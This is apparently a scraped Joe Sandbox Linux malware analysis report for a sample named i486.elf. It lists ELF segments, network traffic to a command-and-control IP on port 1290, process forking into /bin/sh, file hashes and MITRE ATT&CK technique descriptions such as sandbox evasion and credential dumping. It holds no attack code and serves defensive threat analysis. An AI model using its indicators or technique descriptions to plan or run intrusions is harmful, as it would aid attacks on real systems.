LOAD	0x0	0x8048000	0x8048000	0x10b2f	0x10b2f	6.5897	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x11000	0x8059000	0x8059000	0xad0	0x7c80	4.7578	0x6	RW	0x1000	.eh_frame .tbss .ctors .dtors .jcr .got.plt .data .bss
TLS	0x1184c	0x805984c	0x805984c	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 23, 2025 23:13:18.814032078 CET	49946	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:13:19.323949099 CET	45498	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:13:19.821661949 CET	49946	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:13:20.333662033 CET	45498	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:13:21.837652922 CET	49946	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:13:22.349659920 CET	45498	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:13:26.093643904 CET	49946	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:13:26.605786085 CET	45498	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:13:34.289607048 CET	49946	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:13:34.797688961 CET	45498	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:13:50.413573027 CET	49946	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:13:50.925550938 CET	45498	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:14:23.437572002 CET	49946	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:14:23.437572002 CET	45498	80	192.168.2.13	155.138.230.16
Mar 23, 2025 23:14:34.153811932 CET	49950	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:14:35.181437969 CET	49950	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:14:37.197479010 CET	49950	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:14:41.357494116 CET	49950	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:14:49.549371004 CET	49950	1290	192.168.2.13	155.138.230.16
Mar 23, 2025 23:15:05.677331924 CET	49950	1290	192.168.2.13	155.138.230.16

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 23, 2025 23:13:18.696763039 CET	52217	53	192.168.2.13	1.1.1.1
Mar 23, 2025 23:13:18.813905954 CET	53	52217	1.1.1.1	192.168.2.13
Mar 23, 2025 23:14:34.031218052 CET	48622	53	192.168.2.13	1.1.1.1
Mar 23, 2025 23:14:34.153661966 CET	53	48622	1.1.1.1	192.168.2.13

Start time (UTC):	22:13:12
Start date (UTC):	23/03/2025
Path:	/tmp/i486.elf
Arguments:	/tmp/i486.elf
File size:	76540 bytes
MD5 hash:	7976a51de0ffc063dddbb9c529023b8a

Start time (UTC):	22:13:17
Start date (UTC):	23/03/2025
Path:	/tmp/i486.elf
Arguments:	-
File size:	76540 bytes
MD5 hash:	7976a51de0ffc063dddbb9c529023b8a

Start time (UTC):	22:13:18
Start date (UTC):	23/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report i486.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: i486.elf PID: 5490, Parent PID: 5406

General

File Activities

File Opened

Process Activities

Process Forked

Prctl Requested

Chronological Activities

Analysis Process: i486.elf PID: 5491, Parent PID: 5490

General

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: i486.elf PID: 5492, Parent PID: 5491

Linux Analysis Report
i486.elf

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre